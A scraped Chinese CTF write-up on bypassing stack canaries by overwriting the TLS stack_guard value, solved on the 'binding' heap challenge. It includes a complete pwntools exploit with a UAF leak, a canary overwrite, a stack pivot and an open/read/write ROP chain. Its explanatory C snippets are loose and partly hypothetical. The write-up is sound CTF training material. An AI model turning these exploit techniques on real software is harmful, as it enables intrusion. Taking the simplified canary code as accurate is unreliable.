劫持TLS绕过canary 堆和栈的灵活转换

news/2024/11/16 13:25:03/文章来源:https://www.cnblogs.com/CH13hh/p/18296983

引入:什么是TLScanary?

TLScanary 是一种在 Pwn(主要是二进制漏洞利用)中常见的技术,专门用于处理 TLS 保护的二进制文件。在安全竞赛(例如 CTF)和漏洞利用场景中,攻击者需要应对目标程序的多层安全机制,其中 TLS 是一种常见的保护措施。TLScanary 结合了 TLS 协议与堆栈保护(stack canary)技术,增加了攻击难度。

可见TLS和canary有着不可分割的关系

介绍:TLS的基本概念(pwn canary中)

  • TLS 是一种用于在线程本地存储数据的机制。每个线程都有自己的 TLS 区域,用于存储与该线程相关的特定数据。
  • 在堆栈保护方面,TLS 常被用于存储堆栈 canary 值,这是一种防止缓冲区溢出攻击的安全措施。
  • 堆栈 canary 是一种在函数返回地址之前插入的特殊值,用于检测堆栈溢出。如果缓冲区溢出覆盖了 canary 值,程序会在返回前检测到不一致,并终止执行,防止恶意代码执行。

其实对于多线程的canary来说,每个线程的canary都是独立存在的,当一个线程被创建时,操作系统会为该线程分配一个独立的 TLS 区域。这个区域通常通过某种线程控制块(TCB)来管理,每个线程都有一个独立的 TCB。

在多线程环境中,每个线程的堆栈上都会有一个独立的 canary 值。操作系统或运行时库在为每个线程分配堆栈时,会在堆栈的适当位置插入一个 canary 值。

一个示例代码

void* thread_function(void* arg) {// 每个线程有自己独立的 TLS 区域__thread int thread_local_variable = 0;// 在函数入口处插入 canary 值unsigned long canary_value = generate_random_canary();// 检查 canary 值是否被修改if (canary_value != expected_canary_value) {terminate_program();}// 线程的实际工作// ...return NULL;
}int main() {pthread_t threads[NUM_THREADS];// 创建多个线程for (int i = 0; i < NUM_THREADS; i++) {pthread_create(&threads[i], NULL, thread_function, NULL);}// 等待所有线程完成for (int i = 0; i < NUM_THREADS; i++) {pthread_join(threads[i], NULL);}return 0;
}

struct pthread结构体

#include <stddef.h> // 为了使用 size_t/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {// 定义线程控制块头部结构体// 可以根据实际情况进行定义// 例如:线程 ID、状态信息等int thread_id;// 其他相关信息
} tcbhead_t;/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP/* This overlaps the TCB as used for TLS without threads (see tls.h).  */tcbhead_t header; // 可能与 TLS 相关的头部信息
#elsestruct {// 更复杂的结构体定义// 可能包含与 TLS 相关的更多详细信息// ...} header;
#endif/* Extra padding for alignment and potential future use */void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};

看见看到struct pthread结构的第一个字段是tcbhead_t

tcbhead_t 结构体的解析:

typedef struct {void *tcb;            /* 指向线程控制块(TCB)的指针 */dtv_t *dtv;           /* 线程特定数据的指针 */void *self;           /* 指向线程描述符的指针 */int multiple_threads; /* 标识是否有多个线程 */int gscope_flag;      /* 全局作用域标志 */uintptr_t sysinfo;    /* 系统信息 */uintptr_t stack_guard;/* 堆栈保护 */uintptr_t pointer_guard; /* 指针保护 *//* 其他可能的字段... */
} tcbhead_t;

其中stack_guard里面放的就是单线程的canary,通常可以通过覆盖它的内容来达到绕过canary保护的目的

一道题目的引入

刚好对于上一篇留下的问题,题目:binding

题目保护情况

64位ida载入

初看时是个堆题

 

add函数申请大小有限制,一次创建两个堆块,calloc申请堆块

edit函数,白给任意地址写一个字节(因为unsigned __int8类型指针占一个字节),有溢出不多,可以迁移

free函数,明显的UAF漏洞可以泄露地址

show函数

开了沙箱,只能orw

📍思路:1.通过UAF漏洞泄露heap地址和libc地址

2.通过任意地址写劫持stack_guard来绕过canary保护

3.通过栈迁移迁移到heap上,执行rop链

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')libc =ELF('./libc-2.31.so') 
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content):io.sendlineafter('choice:','1')io.sendlineafter('Idx:',str(index))io.sendlineafter('Size:',str(size))io.sendafter('Content:',content)def edit(index,content1,content2):io.sendlineafter('choice:','2')io.sendafter('Idx:',index)io.sendafter('context1: ',content1)io.sendafter('context2: ',content2)def show(rw,index):io.sendlineafter('choice:','3')io.sendlineafter('choice:',rw)io.sendlineafter('Idx:',str(index))def free(index):io.sendlineafter('choice:','4')io.sendlineafter('Idx:',str(index))#gdb.attach(io)
for i in range(6):add(i,0x100,'a')for i in range(1,5):free(i)#gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base))#gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00'))  - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause()pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret#gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200) 
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base)orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00'add(6,0x120,orw_payload)payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8)io.interactive()

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/742254.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

松灵机器人scout mini小车 自主导航(3)——建图导航仿真

松灵机器人Scout mini小车建图导航仿真 在之前的文章中,我们已经介绍了如何在gazebo和rviz对scout mini小车进行仿真,并且测试了添加自定义的传感器,在本文章中将进一步介绍如何利用scout mini小车 在仿真环境中建图和导航。 仓库链接: https://gitee.com/agent-explorer/ro…

ComfyUI进阶篇:ControlNet核心节点

前言: ControlNet_aux库包含大量的图片预处理节点,功能丰富,适用于图像分割、边缘检测、姿势检测、深度图处理等多种预处理方式。掌握这些节点的使用是利用ControlNet的关键,本篇文章将帮助您理解和学会使用这些节点。 目录 一、安装方法 二、模型下载 三、Segmentor节点 四…

面对百度的无期徒刑,幸好还有微软的必应

昨天我们通过【i博客园】公众号发布文章 被百度降权的经历:没有百度的日子,是百度给的无期徒刑 时发现,百度不但没有回心转意,反而对园子的处罚更加严厉了,博客主站(www域名)的新发内容一天内0收录。而在去年9月21日我们完全解除对百度蜘蛛的屏蔽后(详见博文),9月25日…

2024-07-11 npm publish报错合集

报错1:This package has been marked as private npm ERR! 你的包被设为私有模式了。npm ERR! code EPRIVATE npm ERR! This package has been marked as private npm ERR! Remove the private field from the package.json to publish it.原因:你发布的包被标记为私有了,如…

midjourney 入门操作

midjourney 入门操作 settings面板选择模型当从 V6 切换到 Niji模型时,Current suffix会添加参数default V6面板功能介绍RAW Mode功能--style raw 使用的是另一种模式,对于已经熟练掌握提示功能并希望对图像进行更多控制的用户来说,这种模式可能会很有效。使用--style raw 制…

FFT

这东西对初中生挺友好的。前置知识复数 形如 \(a+bi(a,b\in \mathbb{R})\) 的数叫复数,其中 \(i^2=-1\)。 复数乘法:\((a+bi)(c+di)=ac-bd+(ad+bc)i\)。乘法分配律即可。复平面 以 \(a\) 为 \(x\) 轴,\(b\) 为 \(y\)轴所组成的平面叫复平面。每个复数都对应复平面上一点。单…

R语言将多景遥感影像拼接在一起的方法

本文介绍基于R语言中的raster包,遍历文件夹,读取文件夹下的大量栅格遥感影像,并逐一对每一景栅格图像加以拼接、融合,使得全部栅格遥感影像拼接为完整的一景图像的方法~本文介绍基于R语言中的raster包,遍历文件夹,读取文件夹下的大量栅格遥感影像,并逐一对每一景栅格图像…

使用pyqt5制作简单计分桌面应用

这是一个自己写的使用pyqt5制作简单计分桌面应用的实例,包含完整代码,希望对大家有所帮助。制作这个小程序的起因是因为有个艺术类比赛需要设计这个一个桌面程序,方便统分。这是一个自己写的使用pyqt5制作简单计分桌面应用的实例,希望对大家有所帮助。制作这个小程序的起因…

Linux-Cgroup V2 初体验

本文主要记录 Linux Cgroup V2 版本基本使用操作,包括 cpu、memory 子系统演示。1. 开启 Cgroup V2 版本检查 通过下面这条命令来查看当前系统使用的 Cgroups V1 还是 V2 stat -fc %T /sys/fs/cgroup/如果输出是cgroup2fs 那就是 V2,就像这样 root@tezn:~# stat -fc %T /sys/…

Linux系统基础学习

系统目录结构 登录系统之后输入ls命令查看系统目录系统常用的目录/bin 存放着最常用的命令,包括用户和系统管理员都会使用的命令。 /boot 存放启动linux的核心文件,包括内核文件、引导文件、镜像文件 /dev 存放着 Linux 系统中所有的设备文件,如硬盘、CD-ROM等 /home 用户的…

《穷查理思维模型实战课程——一个月一场》

好久好久没更新了。穷查理思维模型实战课程——一个月一场 查理芒格的去世,让了当今没有孔子在世。但是他的智慧会让我们继续前行。

.Net Windows Forms(窗体程序)在服务端运行不了的问题

.Net Windows Forms(窗体程序)在服务端运行不了的问题(本机可以) 原因:是在Form1的构造函数中多了这几行,在服务端找不到配制文件。//DomSqlMapBuilder builder = new DomSqlMapBuilder();//ISqlMapper mapper = builder.Configure(@"..\..\App_Data\SqlMap.config…